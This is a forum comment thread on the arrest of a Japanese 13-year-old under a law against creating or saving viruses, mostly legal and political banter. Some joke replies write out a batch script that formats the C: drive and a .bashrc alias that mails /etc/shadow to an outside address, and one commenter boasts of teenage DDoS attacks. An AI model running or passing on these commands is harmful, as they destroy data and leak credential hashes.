Japanese 13-Year-Old Arrested For Virus Creation 150
An anonymous reader writes "Last year, Japan criminalized virus creation and just saving a virus on [one's] own computer. According to Yomiuri Shimbun, Kyoto police have arrested a 13-year-old (Japanese language original), second grade of junior high school student from Tokyo, for allegedly creating a computer shutdown virus and operating an exchange board of hackers. Kyoto police also arrested a 23-year-old construction worker for allegedly teaching how to make a virus on their board and saving a virus on his computer."
Why is it illegal? (Score:4, Insightful)
If it's my computer, it's *MY* computer !!
What do I want to do with it is *MY* business !!
Japan must have fucked up seriously with this type of stupid law !!
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Sony (Score:5, Insightful)
Time to go arrest Sony's Execs for their rootkits.
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He's afraid he'd shot in the face.
Re:Sony (Score:5, Insightful)
Time to go arrest Sony's Execs for their rootkits.
If Japan is anything like the USA, then corporations are above the law unless they start to become unprofitable for the shareholders.
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Time to go arrest Sony's Execs for their rootkits.
If Japan is anything like the USA, then corporations are above the law unless they start to become unprofitable for the shareholders.
You make corporations sound democratic. They are not. Relatively few persons and/or investment companies typically hold the majority shares in most US companies. Few enough that any recourse is not going to come from a lot of unhappy people, just a few people in the right place, and it's generally not going to come via criminal proceedings. Any legal actions taken are probably going to be in the form of personal lawsuits.
So any criminal prosecution is unlikely to be initiated on behalf specifically of the s
Re:Sony (Score:4, Interesting)
Who said anything about funny? And something need not be clever to be true or worthy of repeating. You just sound like a Sony apologist.
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Re:Sony (Score:5, Funny)
Shall we punish them retroactively then?
Retroactively, proactively, radioactively, whatever it takes.
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hmm... if I find an old copy of a CD with the rootkit on it, and it installs today after the law takes hold... what does the letter of the law say for that case? (sure, the intent might be to punish 'creation', but I wouldn't be surprised to see this slip through some poorly worded section...)
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This was my thought when I read "or saving a virus on your computer." If you get infected, have you saved it? Intent and execution of a law do not necessarily cross paths.
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Ahh... wake up already! You are all criminals!
The only problem is that after the legals put us all into jail there won't be anybody around to make them dinner so they will starve.
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THIS is a new law, but I would be satisfied if they would be prosecuted for violating the laws that were in effect at the time. Perhaps governments shouldn't be passing a bunch of new laws until they can start enforcing the ones they already have in a fair manner.
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Perhaps governments shouldn't be passing a bunch of new laws until they can start enforcing the ones they already have in a fair manner.
Oh now that wouldn't make sense now would it?
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Even apropos as well, eh? Being a techi
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Holy shit, let it go.
Never!
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Never!
Those who don't learn from history are doomed to repeat it
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It never was funny or clever, it was just plain evil and the GP had a valid point -- someone should have gone to prison for XCP.
Are you a troll or a shill? Just wondering... I was bitten by this and will never again buy anything from Sony. Anyone who would buy electronics from someone who would install malware on their eqipment is the biggest fool in the world.
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No, it is not funny nor is it clever. It is only logical that the SONY execs responsible should be held responsible for their criminal activity as much as I would be held responsible should I perform a criminal activity.
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Not that having potentially dangerous computer code is an offense. Were that true all scripts containing `rm -rf' would be legal offenses.
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Maybe it was translated from Japanese?
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Translation of linked article (Score:5, Informative)
Provided to you with much <3.
Under the suspicion of having created a computer virus, Kyoto Prefectural Police have taken into custody a 13-year-old eighth-grader living in Tokyo, Akiruno City, and notified the children's welfare center, based on the youth's misconduct of virus creation (skipping translation of official name of crime, which is provided here as well).
According to the announcement, a male student created a virus last year, on August 5, that forcibly shuts down computers. His deed has been recognized as a misconduct/misdemeanor.
The male student was at the helm of a membership-based site where hackers exchange information. "I was interested in hacking and wanted to study hacking, and created the site in August last year," he explains.
Kyoto Prectural Police have also arrested a suspect, a 23-year-old contruction worker from East Yamato City in Tokyo (name is in the article, but I don't agree that it should be published at this stage so I won't romanize it. Google Translate probably did it anyway though), who gave technical lessons on that site, under the suspicion that he had stored a virus on his home computer that deletes files on computers without permission.
(July 5, 2012, Yomiuri-Shimbun)
Let me guess... (Score:2)
Re:Let me guess... (Score:5, Funny)
it's a self installing remote administration tool (Score:5, Funny)
it's a self installing remote administration tool, not a virus.
anyhow.. what are they going to do to the kid? if japan is anything like west, they'd have to show damages and could only sue for those since he's just a kid.
or do they execute retard kids for being teens?
Re:it's a self installing remote administration to (Score:4, Informative)
or do they execute retard kids for being teens?
Of course not! Execution is for confessed and convicted criminals of the lowest order. Those who are merely dishonored are permitted to commit seppuku [wikipedia.org] and thus restore their honor.
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it's a self installing remote administration tool, not a virus.
Is that what we're calling viruses these days? The terminology is so hard to keep up with.
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They will send him to jail. Damages are a civil matter. In Japan, they made this stuff criminal. He isn't been sued, he is being arrested.
http://www.dailymail.co.uk/news/article-2005891/Japan-passes-law-viruses-spam-emails-carrying-years-jail-time.html [dailymail.co.uk]
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...point being that he is a minor, in most western countries that actually means no jailtime. an arrest for questioning can happen, but even then it's very easy for the police to fuck up with the kids rights, that's why gang juvies are such a problem.
and I guess I should have said "charged" then. but it's the same thing - if no damages to show then no effective repercussions to the kid, which is why you should do your hacking of fbi before you turn 15..
Wait (Score:2)
Is this the plot of some manga masquerading as news?
When do the cyborg rape octopuses show up?
even just saving a virus? so jail time for downloa (Score:2)
even just saving a virus? so jail time for downloading / passing spyware, carp ware, virus?
So you can go to jail just by picking up some drive by virus?
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what happens when avg or similar puts it in the virus vault, guilty?
BAT Virus (Score:5, Funny)
If you're from Japan, do this:
Open notepad and type these lines in.
echo off
cls
echo y|format C:
Now save this file as virus.bat.
Next, go to jail.
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Hmm, didn't work:
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echo 'alias sudo="sudo cat /etc/shadow | mail thanksfortheintel@mailinator.com; sudo"' >> ~/.bashrc
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Ah, now we're getting somewhere.
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just use "format c:
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Or the whole script could be just:
@echo y|format C:
Japan amazes me.. (Score:5, Interesting)
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The idea of Japan being "Advanced" is largely a myth. Perhaps they were in the 80s, 90's, and in to the early 00's.
That's only because Japan itself was the head of R&D, manufacturing, game making, etc. The rest of the world has caught up and innovations are happening elsewhere. Combine that with the Japanese problem of severe xenophobia and "Not invented here" syndrome and you have a country that no longer leads where they used to.
Take the Japanese video game market. A decade ago they were doing well, a
Doesn't even need to look that far (Score:2)
Across the sea, South Korea is already ahead of Japan in terms of automobiles, video games, soap opera etc. , all comes without the xenophobia.
Re:Doesn't even need to look that far (Score:5, Insightful)
As a South Korean American, I can assure you xenophobia/racism is alive and well in Korea.
Re:Doesn't even need to look that far (Score:4, Insightful)
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myth != outdated
Re:Japan amazes me.. (Score:5, Informative)
http://en.wikipedia.org/wiki/Bakumatsu#Economic_and_social_crisis [wikipedia.org]
and many other examples throughout Japanese history.
Your teacher may have been Japanese, but they can't have known much history...
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So, you're saying corporations are going on vendettas against the people? Those bastards!
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And the virus's name was (Score:2)
Cooties !
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Cooties !
Howzabout Mt. Foojies?
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wonder what happens when toyota makes a car capable of breaking speed laws...
i am sure it was intentionally made to go over the speed limit!!!
Re:OP Spreading FUD and Propaganda (Score:5, Insightful)
Do you really believe they should wait until it does damage to arrest (e.g., steals credit card info and uses, spams a ton of crap)?
Personally, I do believe a crime has not happened until it affects another person.
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Yep, I got this shielded personal nuke in my garage and plans of the White House. It's all cool, since I'm not affecting anyone yet.
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I cracked some games and coded interesting 3d effects when I was 15-years old or something.. when you are less than 16/18-years old, you don't really think too seriously about the consequences.
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And yes, if you create it expressly and soley for a criminal purpose, but "just save it on your own computer" it should be a crime. Do you really believe they should wait until it does damage to arrest (e.g., steals credit card info and uses, spams a ton of crap)?
So we should be arresting people for thought crimes now? Saving it to your computer does not show intent to commit a crime any more than buying a new set of steak knives shows intent to murder your wife for cheating on you with the gardener.
Viruses save themselves (Score:2)
The point of viruses is that they either trick the user into saving them or get on the computer through an exploit, in neither case did the owner deliberately want it to be saved.
He created a shortcut (Score:3)
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Passing law is so awkward (Score:2)
Its like passing law trying to keep pranksters from setting grass-thatch outhouses on fire for the fun of it.
Personally, I would teach the complainants how to use cinder blocks to construct an outhouse.
I still believe all these backdoors in commercial software OS offerings are due to way too much complexity and trying to be everything for everybody. I firmly believe a small compact well-understood kernel, such as uCOS/2 [micrium.com] could be the core of a GUI front-end
Early-teens computer genius? I know who this is... (Score:4, Funny)
In other news... (Score:5, Funny)
...computer security experts flee Japan.
It's only a matter of time (Score:1)
Until we are here [kashat.net]
*Saving* a virus ?! (Score:2)
I thought that the whole point of a virus is to "save" themselves automatically and without anyone knowing...
I luvs me some Fiona Apple! (Score:1)
Perhaps the Japanese will re-consider their vision of future dystopias being corporation-oriented. It's people with guns, which means government, government, government.
Dr. Evil: ...and we will get them to focus on the evils of our large corporation...so our minion in government can be issued emergency powers. Buhwahahahahah. BUWAHAHAHAHAHAH. BUHWAHAHAHAHAHAHAHA. BUHWAHAHAHAHAHAHAHA. BUHWAHAHAHAHAHAHAHA. BUHWAHAHAHAHAHAHAHA.
Buwah. Buh. Huhehe. Heh. Hmmm. Back to work!
Re:Should have known better (Score:5, Funny)
As much as some hate to admit this, it's true. Some things that are protected here in the US just aren't in other countries, and some are downright awful.
Yeah, the US is falling so far behind .. a 13 year old can create a virus in Japan, but US kids take years more to reach that level and some people think that's alright. Time for another big Education push ...
Get the Etch-A-Sketches out and start over
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when i was 13 i was scanning for weak nt passes and installing litmus bots to meet on a french ircd i had setup. all for the sake of showing my friends i could disconnect them from AIM any time i wanted, all i had to do was open a dcc send a pic or something get the ip and and let the ddos commence. when i was 14 i was hacking for a fxp group. just because your kids are dumb doesn't mean we all are. i only stopped because i no longer fell under the can't be tried as adult thing :D
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i only stopped because i no longer fell under the can't be tried as adult thing :D
So you're not only a criminal sociopath, you're also a fucking coward.
Truly an inspiration to us all.
Comment removed (Score:5, Interesting)
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That's the point at which your freedom infringes on others'.
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Re:Should have known better (Score:5, Insightful)
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But the Government is promising me FREE STUFF (TM) therefore we the people ignore the Constitution. Never mind all that free stuff comes at a cost (taxes, freedom etc) it is FREE STUFF (TM) !!!!
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If they expected people to enforce the Constitution independently, it was kind of funny to set up a Republican Federal government in the first place. The Constitution was actually written to strengthen the central government, after state-dominated government had already proven untenable. And one of the first acts of business George Washington got down to was violently suppressing the Whiskey Rebellion through a drafted army, showing the determination of the Federal Government to enforce its laws.
Gotta lov
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What paper was the Constitution written on? (Score:2)
A. Urban legend is that the Constitution, Declaration of Independence, and Bill of Rights were written on hemp paper, hemp being the industrial name for the fiber of the marijuana plant. For some reason, this "fact" is touted by those who seek to legalize marijuana for recreational use. First, it is not clear why the use of hemp as a fiber should mean it should be legalized for recreational use. Second, the "fact" is not a fact.
The Declaration, the Constitution, and the Bill of Rights are currently housed i
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